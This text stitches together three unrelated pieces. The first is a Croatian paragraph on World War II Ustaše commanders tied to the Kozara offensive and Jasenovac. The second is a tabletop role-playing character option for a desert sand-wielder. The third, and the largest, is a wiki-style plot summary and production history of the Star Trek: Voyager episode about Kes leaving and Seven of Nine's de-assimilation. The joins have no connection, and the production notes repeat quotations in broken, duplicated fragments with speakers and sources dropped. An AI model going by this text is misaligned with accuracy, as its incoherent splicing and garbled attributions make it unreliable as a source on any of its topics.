Josip Šolc, Artur Gustović i Mirko Gregorić bili su zapovjednici u ofenzivi na Kozaru, u kojoj je ubijeno i internirano više od 50.000 civila. General Tomislav Sertić predvodio je ekspedicije kojima je primarni cilj bilo uništenje srpskog civilnog stanovništva u Lici. General Slavko Skoliber, zapovjednik Prvog domobransko-ustaškog slavonskog zdruga stacioniranog u Novoj Gradiški bio je jedan od najodgovornijih za omogućavanje neometanog rada logora smrti u Jasenovcu.
Loosely inspired by some of the powers displayed by Imhotep, in The Mummy.
GM Intrusion: Sand is notoriously treacherous - sand storms can hide friend from friend as much as from their foes; errant gusts of wind can play havoc with your sand control.
Connection:
Following the Character Options format, choose one connection from the following: Pick another PC. This character once accompanied you on a disastrous mission into the desert. Losing your supplies to a bandit attack, it was only through your skill in finding water that the two of you managed to make it out alive. It is up to the character’s player how their PC reacted to this event (they may blame you for leading them into bandit territory, or exult your survival skills, for example). Pick another PC. This person, knowing that many groups that survive in the desert do so only by their raids on civilized lands (or caravans, or the like), believes that you belong to such a tribe of bandits. Whether or not you are, is for you to determine. Pick another PC. This person – probably hailing from the wetlands – appears to have no concept of water discipline. You wish to teach them how to deal with water respectfully, but do not know whether they will take kindly to your suggestions. Pick one other PC. This person is a close friend, and you trust them completely. When you are fighting alongside them (immediate range) you gain +1 to your rolls.
Additional Equipment:
You have a set of desert clothes that helps protect against environmental extremes. Where appropriate (e.g. in high temperature areas), this clothing offers 1 Armour against ambient damage.
Esotery Effects:
Sand Esoteries – if you use esoteries (or esotery-like tricks of the trade) that employ force, these take the form of sand-based effects – Onslaught blasts are a stinging, abrasive column of sand; Barrier takes the form of a swirling sand-storm (this is not solid, but deals 1 point damage to all who touch it, and 4 points to any who pass through it).
Minor Effect Suggestions:
You gain an extra action, which can be used only to move or perform a movement-related activity.
Major Effect Suggestions:
Your attack drives sand into the eyes of your attacker, rendering it blind for one round.
Tier 1:
Nomad: You are trained in wilderness navigation, flora/fauna identification, and searching for potable water sources, whilst in desert environments. Enabler. Hardy: You have +2 to your Might pool. Desert Warrior: Chose one type of attack in which you are not already trained: light bashing, light bladed, light ranged, medium bashing, medium bladed, medium ranged, heavy bashing, heavy bladed, or heavy ranged. You are trained in attacks using that type of weapon. Enabler. Inability: You are unused to the wetlands – swimming, and all other activities undertaken in aquatic environments, are for you one level of difficulty higher than they would otherwise be.
Tier 2:
Sand Attack (2 Speed points): You carry several small sacks of sand with you. On your turn, instead of attacking, you may attempt to throw this sand in your opponent’s eyes. On a successful hit, the attack inflicts no damage, but until the end of the next round, all attacks made against this creature gain an asset. As this is caused by the opponent’s attempts to clean their eyes, some creatures (i.e. those who rely on senses other than sight) may be immune to the effects of this attack. Action.
Tier 3:
Seasoned: You are trained in Might Defense actions, and are immune to most ordinary poisons and diseases. Your water requirements are one half those of other individuals. Enabler.
Tier 4:
Sand Storm (4 Intellect points): You call into existence a whirling cloud of dust and sand that whips around your body. This defense decreases the difficulty of speed defense tasks by one step (by two steps if defending against missile weapons). Further, any creature approaching within immediate range suffers 1 point of damage from the whirling detritus. This effect lasts for 1 hour, or until you decide to end it. Action to initiate.
Tier 5:
Sand Spirit (5 Intellect points): You call upon the spirits of the desert to aid you; a human-sized creature of drit, dust, and sand rises up from the ground to fight alongside you (this ability can only be used where it is feasible that dust or sand might feasibly be present). The Sand Spirit is a level four creature, but is extremely resilient to physical damage (reforming around weapons used to strike at it); the sand spirit harmlessly absorbs the first 4 points of damage inflicted by any attack made against it (that uses ordinary weapons). It lasts for 1 hour and then dissipates to dust. Action to initiate.
(written from a Production point of view Real World article
Kes's telepathic and latent psychokinetic powers begin to grow rapidly while Voyager's newest crewmember, the former Borg drone Seven of Nine, deals with her new individuality.
Contents show]
Summary Edit
Teaser Edit
The USS Voyager, after having faced the Borg and Species 8472, travels at maximum impulse across Borg space. Parts of its hull still glow green due to the Borg modifications that were made to it.
Cargo Bay 2 has been de-assimilated, except for five Borg alcoves which remain. Regenerating in one of them is the former Borg drone Seven of Nine. Captain Kathryn Janeway, Lieutenant Tuvok, and The Doctor enter the bay and walk up to her. The Doctor reports that her Human physiology is quickly reasserting itself but is warring against the Borg implants. He is unsure which side will win in the end. Remarking that it is time to tell her what has happened to her, Janeway orders her awakened.
Upon waking from regenerating Seven is greatly distressed to find that she can no longer hear the Collective. When Janeway explains that her link to the Collective was severed, she angrily demands to be returned to the Borg. Janeway refuses and tries to engender in her an appreciation for her newfound individuality. She promises to help her through the transition, guiding her back to life as a Human.
Seven demands that if Janeway will not return her to the Borg, she wishes to be left on the nearest planet with a subspace transceiver, to contact them herself. Janeway responds that it is too late for that as she progressed too far in the resurgence of her Human systems and needs medical care. As if to confirm this, a searing bolt of pain shoots through her head; an implant there is being rejected and must be removed at once. She demands The Doctor suppress her Human immune system but he tells her the same thing Janeway did: the process has progressed too far.
"NO!" she shouts angrily, lashing out. "We are Borg! WE ARE BORG!" Janeway and Tuvok restrain her and The Doctor sedates her. Janeway looks at Seven with compassion and uncertainty.
Act One Edit
Seven of Nine is again in sickbay. The Doctor scans her head, acknowledging the implant that is being rejected and quickly formulates a plan on how to proceed in removing it. But as he moves around the bed, he bumps into Tuvok. Despite his angry protestations that he is in the way, Tuvok refuses to leave, implacably responding that Seven is a security risk. The Doctor insists that this is not so while she is unconscious and not able to go anywhere and asks Tuvok to get out of the surgical bay. Tuvok simply backs away a few steps. Exasperated, The Doctor returns his attention to Seven of Nine.
He tells Kes to anesthetize her cranial nerves in preparation for the operation. Kes turns toward the hypospray on a table away from her and the device flies into her hand to The Doctor's amazement. Kes herself looks rather startled. She explains, as Tuvok, who saw the feat, comes toward them, that she simply looked at the hypospray and it came to her. Tuvok inquires if she has been experimenting with her psychokinetic abilities. She tells him that she has not but has been feeling rather strange of late, having a lot more energy and less sleep than usual.
The Doctor scans her and reports that her brain's telepathic centers are being hyper-stimulated. He also notes, with alarm, that they are acting just as they were when Species 8472 was communicating with her. Tuvok immediately asks her if they are doing so again but she says no. He hypothesizes that she is simply experiencing an after-effect of that contact. The Doctor promises to examine her fully but right now they have to see about Seven of Nine. They get back to work, as Tuvok watches.
Janeway is seated at her desk in her ready room, reading something on her desktop monitor while sipping coffee. Commander Chakotay enters and gives her a status report: two teams are working round the clock to remove the Borg armor from the hull but progress is slow; Lt. jg B'Elanna Torres is having difficulty cleaning out the plasma relays, so warp drive is currently unavailable. He relays her request for all crew members with a level 3 engineering rating or higher to help. Janeway grants the request. On the tactical side, he reports that the long-range sensors have detected the transwarp signatures of Borg vessels that passed by recently. Janeway notes this as Voyager is not yet beyond the danger of being found and assimilated.
Talk of the Borg segues into talk of Seven of Nine. Janeway considers that former drone could help them with the removal of the Borg modifications. Chakotay does not believe she will be willing to but Janeway disagrees, believing she will, if only she can reach her. She shows him what she was reading on her monitor, it is the data file of the Human who Seven of Nine used to be. The file cites her name as Annika Hansen. It further states her parents were scientists and explorers but did not want to work under Starfleet. They, with their daughter, were last recorded as being in the Omega sector. They left without filing a flight plan, heading in the direction of the Delta Quadrant and were never heard from again.
Chakotay again notes that Seven was assimilated as a child and raised by the Borg. They are all she knows and getting her to embrace her Humanity may prove impossible. Janeway insists on trying however, as they have no choice. She states that "tossing her back to the wolves" is out of the question. The Doctor then calls her to sickbay.
In sickbay, The Doctor begins removing the rejected implant. He gives it to Kes to put in storage and suggests to Tuvok that he can lock it down with a force field as a safety measure. Tuvok agrees and leaves to do so with Kes, as Janeway enters. The Doctor concernedly tells her that Seven of Nine's Human physiology is now reasserting itself even more aggressively. Her exo-plating and implants are all being rejected – her life is in danger. To save her, they must be removed. But this causes an ethical dilemma for him as she would certainly not want them removed and he is obligated to respect that. He asks for Janeway's input.
Janeway silently considers the point but decides that even though she was raised by the Borg to think like a Borg, beneath the Borg technology, she is Human, whether she is ready to accept that or not. Until she is ready to accept that fact, someone has to make her decisions for her. She orders The Doctor to continue with the procedure. He acknowledges and, as Janeway leaves, returns to the job of removing the first rejected implant.
He calls Kes to assist him and decides on the next implant to begin removing, after this current one. Suddenly Seven of Nine begins to convulse. A console beeps an alarm. He rushes to it to see what the problem is and finds that she is going into neural shock, though he cannot find the source. He orders Kes to try to stabilize her, naming the device to use. But Kes stands rooted, her eyes focused intensely on the former drone.
The Doctor tensely repeats his instruction but she tells him to wait because she can literally see the problem (with the colliculi). A Borg implant attached to her trochlear nerve is causing the shock. Astonished, he asks her if she can tell him how to remove it without severing the nerve. Kes does more than tell him and removes it herself, using her psychokinetic powers. The implant is seen being plucked off the nerve as if by an invisible hand, then disintegrated. The Doctor, scanning, reports that the implant is deteriorating, then it is gone. Seven of Nine stabilizes immediately. The Doctor congratulates her on her 'unconventional but effective' surgical procedure.
Act Two Edit
In sickbay, The Doctor proudly shows Janeway the ocular implant he has developed to replace Seven of Nine's Borg eyepiece. He is particularly pleased with how perfectly it matches her organic eye. Janeway is impressed and asks to see her, which he agrees to. While he goes to get a hypospray to revive Seven, Janeway talks to Kes about her blossoming abilities. She reports feeling extremely energetic and focused, noting that her telepathic abilities have never been so potent. Tuvok, still present because of Seven of Nine, cautions that her psychokinetic abilities are untrained and thus unpredictable. He recommends taking her through a series of guided meditations to help her discover the limits of these abilities. Janeway agrees and Kes is very enthusiastic to get started. They head for Tuvok's quarters immediately with Janeway's leave.
Janeway and The Doctor watch Seven of Nine slowly wake up. Much of her exo-plating has been removed, as well as many of her cranial implants. All that is left of her eyepiece is its attachment around her orbital socket and its visual mechanism in her eye socket. Her skin now has only traces of the pale gray coloration; it is mostly now a shade within the usual range of Human dermal pigmentation. She sits up and looks at herself and is horrified by what has been done to her.
Looking up, her gaze falls on Janeway. She gets off the table and strides up to her. Through gritted teeth, she tells Janeway she should have let "them" die because "this drone" cannot survive outside the Collective. The Doctor happily begs to differ and begins to proudly elucidate on how her Human systems are thriving. But before he can explain further, Janeway looks at him to be quiet. His mouth closes in mid-sentence and he leaves them alone.
Janeway again tries to reach an understanding with Seven. Janeway tells her she is trying to understand what she is going through and that she is obviously frightened and in pain. Seven of Nine retorts that Janeway is an individual who cannot understand what it means to be Borg. Janeway agrees but tells her she can imagine: Seven was part of a vast collective consciousness of trillions of minds joined as one, without any indecision or disputes – the ultimate example of unified will and strength. She sympathizes with her for having lost that. This reaches Seven somewhat. She laments the silence in her mind, insisting that she needs that collective voice. Janeway seizes the opportunity, telling Seven she is now part of a Human collective. She insists that Seven can find some of the unity she needs among the crew. They are individuals but they work together as a unit.
She watches intently as Seven of Nine considers her argument. But Janeway's hopes are dashed when she responds that this is insufficient. Janeway ends her effort for now, simply insisting it will have to do. Seven is ordered to assist in engineering to remove the Borg modifications to Voyager, which are preventing the ship's warp drive from functioning.
In engineering, Torres is working with her staff, assisted by Ensign Harry Kim, to try to get the warp drive online. They have finished cleaning the plasma intake manifolds of Borg technology and are ready to try to restart the warp core. They begin and the reactor begins to hum as the matter and antimatter react with each other. The power level begins to rise but then, once again, it stalls. A scan indicates the problem is caused by two intake manifolds: despite having already been cleaned once, they are again blocked. Torres, in frustration, compares the offending Borg technology to weeds: you think you've got them all but then, seemingly from nowhere, they spring up again.
Just then, Janeway and Seven of Nine enter, accompanied by a security officer. Immediately Seven of Nine informs them they have neglected to remove the autonomous regeneration sequencers, Borg devices that regenerate other Borg technology should it be tampered with. Janeway introduces her again to Kim and Torres and informs them of the reason for Seven's presence. Torres at once directs Seven to start with the plasma intakes. She begins telling her where they are but Seven rudely finishes her sentence, describing the location and telling Torres, "We fully recall the engineering specifications of your vessel".
Torres, immediately put off, comes right up to her face and angrily asks her if she remembers what it looked like before she "turned it into a Borg circus". Seven of Nine responds affirmatively, returning her glare. Janeway intercedes, ordering them to get to work. Torres acknowledges the order as Seven of Nine follows.
Tuvok and Kes are in the Vulcan's quarters, beginning the first of his suggested guided meditation lessons. Using the flame of his lit meditation lamp, he trains her to practice controlling her psychokinesis by having her psychokinetically strengthen and weaken the flame, altering the combustion at the subatomic level. Things proceed well and he is ready to move on to something else. But she tells him to wait; by maintaining her concentration on the flame, she can see it beyond the subatomic level.
This is incomprehensible to him because known science dictates that there is nothing beyond the subatomic. But she insists that there is and she can see it. Concerned, he suggests stopping. She insists on continuing, wanting to try to control this level of reality. Her eyes stare at the lamp and, as Tuvok watches, it begins to warp and jiggle, as if something living were moving beneath its surface. It then returns to normal and Kes looks at him triumphantly. He looks back at her, amazed.
In engineering, Torres shows Seven a Borg linkage in a wall panel and cites them as causing the blockage in the plasma intakes. She complains that they reappear every time they are removed. Seven identifies it as one of the autonomous regeneration sequencers. Kim, impressed, asks her how the Borg came up with this technology. She responds that it was assimilated from a species they designated 259. Torres, however, is neither impressed nor interested in how the Borg got it. She impatiently demands Seven show her how to remove them. Seven outlines the procedure and Torres directs her and Kim to a plasma intake control in a Jefferies tube access room, to remove the sequencers installed there.
Kim and Seven of Nine enter the access room. A security officer waits outside. As they work at an open circuit panel, Kim tries to make conversation with her. He is ignored, until he asks her about the area of space Species 259 is native to. She coldly responds that it is beyond his comprehension. He insists, so she tells him about it but it is beyond his comprehension. He sheepishly withdraws and goes to another panel to work. But as she works, the imager from her removed eyepiece sees something in the circuit panel normal Human eyes cannot: the tiny labeling of a Starfleet communications node among the panel's circuitry.
She calls Kim back to assist her and, as he comes, she backhands him so hard that she knocks him right out of the room, into the security officer. She then shuts the door. At the bridge's conn station, Lt. jg Tom Paris alerts Janeway of an unauthorized attempt to access the ship's subspace transmitter. Janeway instantly knows who it is and knows if she succeeds, they are doomed. At once, she alerts security, who immediately converge on the room, along with Torres. But they discover she has put a Borg force field over the door, so they cannot touch it, let alone try to open it. On the bridge, Janeway orders Chakotay to disable the transmitter. But it is too late as she has access to it.
In Tuvok's quarters, Kes suddenly senses that something is wrong. She probes the sensation and telepathically sees Seven as she attempts to use the transmitter to contact the collective. She tells Tuvok, who immediately heads for the door to Engineering. But Kes stops him, saying she believes she can stop her. Her eyes get a far-away look as she concentrates. Seven, in the room, suddenly hears a strange noise. She looks to her right and goes wide-eyed as she watches a part of the wall begin to warp and wobble, as if there were something moving under it.
The distortion moves toward her until it moves into the circuit panel she is in front of. A bolt of energy flashes forth from the panel, striking her in the chest. She is thrown back and lands unconscious on the floor. In his quarters, Tuvok hails the bridge and asks for a status report. Janeway responds that a strange explosion occurred in the Jefferies tube access room where Seven of Nine was, stopping her before she could send the transmission; they do not know what it was. Tuvok, looking at Kes, responds that he thinks he has the answer.
Act Three Edit
Janeway and Tuvok walk down a corridor toward the brig, where Seven of Nine has been placed. He has two pieces of bad news for her. First, Seven of Nine did manage to send a partial signal, possibly enough for a Borg ship to track. Second, Kes' act that stopped Seven, destabilized the access room at the molecular level and the effect weakened the hull structure throughout the entire deck. Kes wants to explore her abilities further but Tuvok is concerned that that would not be safe, for her or the ship.
They arrive at the brig. Janeway has Tuvok wait at the door while she goes to Seven of Nine's holding cell. The former drone is pacing up and down inside like a caged tiger. She turns to Janeway, stares at her and lashes out at her: "So, this is Human freedom." But Janeway says that she is not angry, just disappointed. She really thought Seven was willing to help them. Seven responds that she did intend to help but she saw a chance to contact the Collective and took it. She insists to Janeway that her attempts to "assimilate this drone" will fail. She can change 'their' physiology but not 'their' nature. "We are Borg," she insists. Janeway sees that this is not the right time to attempt to reach her and merely responds that she has met Borg who were de-assimilated. In time, they accepted their return to individuality and so will she.
Seven of Nine, however, considers this: individuality means choices, including the choice to return to the Collective if she so wishes. She asks Janeway if she will allow her to do that. Janeway attempts to avoid a direct answer but Seven correctly assumes the answer is "No." She angrily calls her hypocritical, imprisoning 'them' in the name of Humanity, yet denying 'them' the most basic Human right of choosing one's fate.
Janeway firmly responds that she does not have that right, as she is unable to make rational choices. The Borg took that ability from her the moment they assimilated her. Until she is convinced she has re-developed it, she will make that choice for her: Seven will stay on Voyager. Seven responds that Janeway is then no different from the Borg. Janeway stares at her silently as Seven turns and walks towards the back of the cell.
In the mess hall Neelix is treating Kes to a glass of her favorite Talaxian champagne. They have not had a moment with each other since they ended their relationship months before. He sees her burgeoning mental powers as something to celebrate as she has always wanted to be something more than what she was. They talk about their former relationship, and he inquires about what is happening to her. With quiet excitement, she explains it to him, telling that it is as if she is now able to see into a place where the distinction between matter, energy and thought no longer exists.
Neelix is amazed. She further elucidates that merely by looking at an object, she can see the space between the atoms of its matter being filled with something else; something unknown. As she speaks, she begins to stare at the table and as Neelix watches, it begins to warp and jiggle. He becomes very alarmed, rising and asking her to stop. She says no, but the lapse in concentration allows the effect to get out of control. It reaches Neelix and throws him backward, hard. Horrified, Kes rushes to him but, halfway there, falls to her knees, dazed.
On the bridge, Kim reports strange energy readings coming from the deck the mess hall is on. Janeway hails Neelix but gets no response. Kim further reports that the bulkheads in that section are coming apart. Chakotay orders him to increase the deck's structural integrity field. Janeway motions to Tuvok to accompany her and they head for the turbolift.
They arrive at the mess hall to an unnerving sight. Kes is on her knees, a beatific smile on her face, looking upward, hands upward expansively. Her upper body is glowing with an ethereal light, shifts between translucence and opaqueness. Neelix stares, dumbfounded. The phenomenon ends and she slumps down. The officers and Neelix exchange concerned looks before going to her aid.
Act Four Edit
Kes has been taken to sickbay. In his office, The Doctor reports on her condition to Janeway and Tuvok, saying that he has run every conceivable diagnostic test but cannot figure out what is happening to her, or how to stop it. Tuvok informs them that the ship's sensors indicate that her body actually destabilized at the subatomic level and then re-stabilized. The Doctor concernedly points out that the next time it happens it may not re-stabilize, something has to be done. Janeway orders Tuvok to increase power to the ship's structural integrity field, to avoid a possible hull breach should it happen again.
She then advises The Doctor that this is now beyond medical science. Particle physics is now involved and perhaps an answer as to how to treat Kes can be found there. He agrees and decides to check the relevant database on the subject. Janeway instructs him to keep her informed. She leaves and he goes out to speak to Kes, who is sitting on a bio-bed. He tells her that, until he can come up with another diagnostic procedure, she can return to her quarters. However, she responds that she would like to stay for a while and help with the research, and because she misses him, not having seen much of him over the last few days. He smiles and agrees.
In the brig, Seven of Nine paces slowly in her cell. She stops and stares at the entrance. Her face is filled with anger and frustration. With enraged yells, she repeatedly throws herself at the force field that seals the entrance, startling Ensign Ayala, the officer on duty. He hails the captain, telling her she needs to come immediately.
Janeway arrives and finds a very different Seven of Nine from before. She is no longer defiant but stoop-shouldered, defeated and anguished. With her head down, heartbroken, she quietly mutters that her designation, "Seven of Nine", is now irrelevant. The others are gone. "I am… one," she finishes sadly. Janeway, with genuine sympathy and concern, agrees with Seven that she is indeed now one. "But I cannot function this way! Alone!" Seven of Nine laments with a sob.
Janeway assures her she is not alone, she will help her. Seven desperately responds that, if this is true, she will not do this to her. She pleads to be taken back to her own kind. Janeway insists that she is already among her own kind: Humans. "I don't remember being Human. I don't know what it is to be Human!" she cries out.
Janeway picks up a PADD on the brig console and proceeds to deactivate the force field. Seven of Nine threatens to kill her if she comes in. Janeway stares at her and tells her she does not believe that. The field shuts off and she enters. Ensign Ayala moves to follow her in but Janeway signals him to remain outside. He does, covering her with his phaser. She slowly approaches Seven and holds out the PADD to her. On it is an image of a smiling young girl. In a quiet, wistful voice, Janeway tells Seven the child's name: Annika Hansen. She speaks about the child, asking questions intended to bring up long-buried memories, while drawing closer to her. Janeway asks questions about her siblings, her friends and her favorite color.
Seven of Nine stares at the image for several seconds. "Irrelevant!" she suddenly shouts, slapping the PADD out of Janeway's hand. She again pleads to be taken back to the Borg. Janeway quietly, but firmly, responds that she cannot do that.
Seven bends over as if sick, sobbing and gasping, holding her head, bemoaning the silence in her mind. "So… quiet! One voice…!" she wails. Janeway responds with conviction that one voice can be stronger than a thousand voices. Seven's mind, she stresses, is independent now, with its own unique identity. Seven accuses Janeway of forcing that identity upon her that it is not her identity. Janeway forcefully responds that it is her identity. She tells her that she now has back what the Borg stole from her, her existence.
Seven yells out that she doesn't want to live that kind of life. Janeway urges not to resist turning away from her Borg identity. Seven retorts that she won't and swings wildly at Janeway, catching her in the midsection. Janeway's mouth goes wide with pain but she catches Seven of Nine as the former drone nearly falls down from the force of her swing. She helps her to the cell's bunk as Seven begins to cry. Even with the pain from Seven's punch, Janeway holds onto her shoulders, sitting behind her, comforting her as she weeps with the agony of what she has lost and the fear of what she has gained. She has finally reached her.
Act Five Edit
Kes is in her quarters, waiting for Janeway. She has come to a decision. Janeway enters and sits with her. Smiling gently, Kes tells her that she has been thinking about all that's happened and now knows that the time has come for her to leave Voyager. She wants to further explore what is happening to her but she cannot do that on Voyager as it could destroy the ship and all aboard.
Janeway is stunned by Kes' decision, this was the last thing she was expecting Kes to say when she was hailed. She desperately tries to convince her to stay, telling her that The Doctor is already working on a new approach to treating her. Kes responds that her condition is not an illness but a transformation, and she has to explore it. Janeway, close to tears, knows her mind is made up. In a breaking voice, she tells her how much she will miss her. They embrace warmly.
Suddenly Kes begins to fade in and out, as she did in the mess hall. "It's starting," she announces. At once, Janeway hails the bridge and orders Chakotay to have a shuttle prepared for launch and for Tuvok to meet her. She tells them what is happening: Kes is leaving them. Chakotay and the bridge officers are as stunned as Janeway but he acknowledges, as Tuvok heads for the turbolift.
Janeway and Kes move quickly along the corridor, heading for the shuttle bay. Janeway helps Kes along but it soon becomes obvious they will not make it. Her body's molecules begin to destabilize again, this time permanently. Electronic panels and components, affected by her power, explode in the wake of their passage. Janeway tries to have a site-to-site transport done to take them directly to the shuttle bay but Kim reports that Kes' destabilizing molecules prevent the transporter from locking on. With no choice but to continue on foot, they hurry.
The ship's hull is seen to be warping and shaking. On the bridge, Paris reports that the hull is destabilizing on a molecular level. Tuvok meanwhile, steps out of a turbolift near the shuttle bay and meets Janeway and Kes in the corridor. Kes desperately tells him she cannot keep going. He mind melds with her to help her stave off the transformation for just a bit longer. The meld succeeds but the effect will not last long and he urges Janeway to hurry with her.
On the bridge, Kim reports hull breaches on three decks. Chakotay orders him to deploy emergency containment fields. Janeway hails, informs them Kes is aboard the shuttle and orders the launch sequence started. Chakotay acknowledges and a shuttle is seen speeding out from the shuttle bay and away from the ship. Janeway and Tuvok return to the bridge. She asks Kim if he can hail her; he responds he has been trying. But then it no longer becomes necessary; Kes contacts them. "It's happening" she tells them. Kim reports her atomic structure is completely destabilizing. On the shuttle, a joyous smile is on Kes' face as her body fades, for the final time.
Just before she, and the shuttle, fade completely in an explosion of white light, she says one more thing to them:
"My gift to you."
Voyager begins to tremble. Torres hails the bridge from engineering and reports the warp core is again online. But she is shocked when she checks the matter/antimatter reaction efficiency. It is going at 120%, far beyond what the core was ever built to produce. Voyager is seen going to warp speed… and then even faster, faster than any Federation starship could possibly go. On the bridge, Paris cannot even name the warp factor at which they are traveling. Kim tensely reports the ship is coming apart.
This continues for several more seconds and then, suddenly, it slows down, dropping back to impulse. Paris reports that they have dropped out of "whatever it was we were in." Janeway orders an on-screen view of their location. She asks Paris where they are. He reports, incredibly, that they are 9.5 thousand light years from where they were. The bridge officers are speechless. It is Janeway who, with a thankful smile, tells them what has happened: Kes has used her powers to move them safely beyond Borg space, taking ten years off their journey.
In Cargo Bay 2, Seven of Nine stands, looking at herself. Her exo-plating is absent, replaced by a silver cat suit. Her skin is now fully back to its normal, pre-assimilation, Caucasian pigment. Her previously bald head, with its Borg implants, is now crowned by blonde hair, secured in a French twist at the back. Except for the curving attachment over her left eye socket, the rest of her eyepiece has been replaced by the life-like ocular implant The Doctor crafted for her. The eyepiece attachment, a star-shaped attachment on the right side of her face just before her ear, and the silver, skeletal outline of the exo-plating that covered her left hand are the only visible traces of Borg technology that can be seen on her.
Janeway and The Doctor enter, accompanied by a security officer. The Doctor tells her he has removed 82% of her Borg implants but the rest are tied into her vital functions. He proudly takes credit for designing her attire and re-stimulating the growth of her hair. He leaves to go and familiarize himself with the Borg alcoves. He tells her that she will still need to regenerate to maintain her remaining Borg systems and he will be monitoring her regularly to ensure these systems stay working properly. Janeway smiles slightly as she informs her that she will consider allowing her access to the rest of the ship once she is sure she will not try to get them assimilated again. Seven of Nine assures her that will not happen. Janeway is happy to hear this. She leaves, giving her a combadge and telling her to contact her if she needs anything. Seven of Nine turns to go to her alcove. But just before Janeway leaves the cargo bay, Seven gives her the answer to one of the questions she had raised in the brig about the child, Annika Hansen. Her favorite color, she tells her, was red.
Tuvok, in his quarters, carries his lit meditation lamp to a window. He holds it up briefly as if offering it and places it on the ledge, in honor of his former student. He and the lamp are both seen from outside as the ship continues on toward home, most of the Borg modifications on its hull now absent, Borg space now, thankfully, behind them.
Log entries Edit
"Captain's log, supplemental. Warp drive is still off-line and we don't know whether the Borg have detected us. Kes' psychokinetic abilities continue to damage the ship's structural integrity, and as a result our defenses have been compromised."
Memorable quotes Edit
"I guess the Borg meet a lot of people, don't they?"
"Stupid question… So, what's it like out there, in Galactic Cluster 3?"
"Beyond your comprehension."
"Try me."
"Galactic cluster three is a trans-material energy plane intersecting twenty-two billion omnicordial life-forms."
"Ah… Interesting. (Kim walks away, looking utterly defeated)
- Kim and Seven of Nine
"I've got an Ocampan who wants to be something more and a Borg who's afraid of becoming something less. Here's to Vulcan stability."
- Janeway, to Tuvok
"I'm just giving you back what was stolen from you; the existence you were denied; the child who never had a chance; that life is yours to live, now."
"I don't want that life!"
"It's what you are. Don't resist it!"
- Janeway and Seven of Nine
"Red."
"What?"
"The child you spoke of, the girl. Her favorite color was red."
- Seven of Nine and Janeway
"She threw us safely beyond Borg space. 10 years closer to home."
- Janeway, moved by Kes's parting gift.
"I also took the liberty of stimulating your hair follicles. A vicarious experience for me, as you might imagine."
- The Doctor, to Seven of Nine
"My gift to you…"
- Kes, to Janeway as Kes leaves Voyager
Background information Edit
Production history Edit
Story and script Edit
Cast and characters Edit
Joe Menosky recognized a correlation between Janeway's interactions with the departing Kes and the captain's relationship with the newly arrived Seven of Nine. " There was a parallel with Janeway having to keep things together, going from the new person on board, Seven, to the person who was entering this strange transformation of her own and leaving, " Menosky observed. " Janeway was dead in the center of those two relationships, the coming and the parting. " ( Cinefantastique , Vol. 30, No. 9/10, p. 78)
" Menosky observed. " " ( , Vol. 30, No. 9/10, p. 78) Due to his work on this episode, Bryan Fuller at first gravitated towards the character of Kes. " I initially really bonded to Kes, " said Fuller, " because I spent so much time thinking about how does this character go away and leave the show, and make room for another character? " ( Star Trek Magazine issue 171, p. 50)
" said Fuller, " " ( issue 171, p. 50) This was the last regular episode of Star Trek: Voyager that starred Jennifer Lien as Kes. Bryan Fuller noted that the reason for this episode's change in production order was "because of Jennifer Lien's schedule." ( Star Trek: The Magazine Volume 2, Issue 2, p. 67)
that starred Jennifer Lien as Kes. Bryan Fuller noted that the reason for this episode's change in production order was "because of Jennifer Lien's schedule." ( Volume 2, Issue 2, p. 67) Around the same time as this episode was produced, the series' regular cast took Jennifer Lien out to dinner and she had a poignant discussion with Janeway actress Kate Mulgrew on the same night. Mulgrew later remembered, " I drove her home and said, 'This could be serendipity, Jen. You're so unusual and so deep and fine. I believe it's the beginning of a stellar career.' " ( Star Trek Monthly issue 33, p. 20)
" ( issue 33, p. 20) However, Kate Mulgrew also initially struggled with emotionally accepting the fact that Jennifer Lien was leaving, such that Mulgrew believed she could relate to Janeway's feelings here. At the time, Mulgrew commented, "It's as much a sorrow for me as Kate as it is for Captain Janeway." (Star Trek Monthly issue 33, p. 20) In addition, the sense of loss that Mulgrew felt impacted on her, during the making of this episode. She confessed, "I was very upset and I found it very difficult to get through that episode, really difficult." (Braving the Unknown: Season Four, VOY Season 4 DVD)
Production Edit
Effects Edit
Stock CGI footage of magnified, burning atoms was reused here, after having previously been shown in the second season Voyager installment "Cold Fire." (Delta Quadrant, p. 195)
For the sequences where Kes is seen to be physically destabilizing, several effects elements were composited together, such as an example of random digital artwork. Visual effects producer Dan Curry remembered, " We wanted something a little strange and a little alien to kind of feather into Kes as she's going through her transmutation. So […] in Photoshop, I just did a freehand drawing of odd tissue and veiny things, inspired by water buffalo placenta. And then we would occasionally double expose that into Kes as she's kind of fluctuating in and out of our physical reality. " Another element used was liquid nitrogen, which was utilized to show the physical fluctuations of not only Kes but also some of the items she has an effect on, such as the mess hall table in the scene between her and Neelix. " We just trickled it over black velvet on an incline plane, and it broke up in these wonderful little waves and we were able to use that as a keying element, " Curry recalled of the liquid nitrogen. " Because it's white over black, you have enough contrast that you can create basically an electronic stencil, through which you can print other information. And that's a piece of the puzzle that went into Kes' transmutation. " ( Red Alert: Amazing Visual Effects , VOY Season 4 DVD)
" Another element used was liquid nitrogen, which was utilized to show the physical fluctuations of not only Kes but also some of the items she has an effect on, such as the mess hall table in the scene between her and Neelix. " " Curry recalled of the liquid nitrogen. " " ( , VOY Season 4 DVD) Foundation Imaging created the the pull-out shot at the end of this episode, which required that Voyager be extraordinarily detailed. CGI Effects Director Ron Thornton recollected, "Because we were going to be so close to Voyager at first, we had to put detail in all the windows around it. We couldn't just use the white lights that had been on the miniatures. We were actually able to move around Voyager, and you can see people and things in the ship's windows, which makes a lot of difference." (The Official Star Trek: Voyager Magazine issue 16)
Continuity Edit
Reception and aftermath Edit
Video and DVD releases Edit
Starring Edit
Also starring Edit
And
Uncredited co-stars Edit
Stunt doubles Edit
References Edit
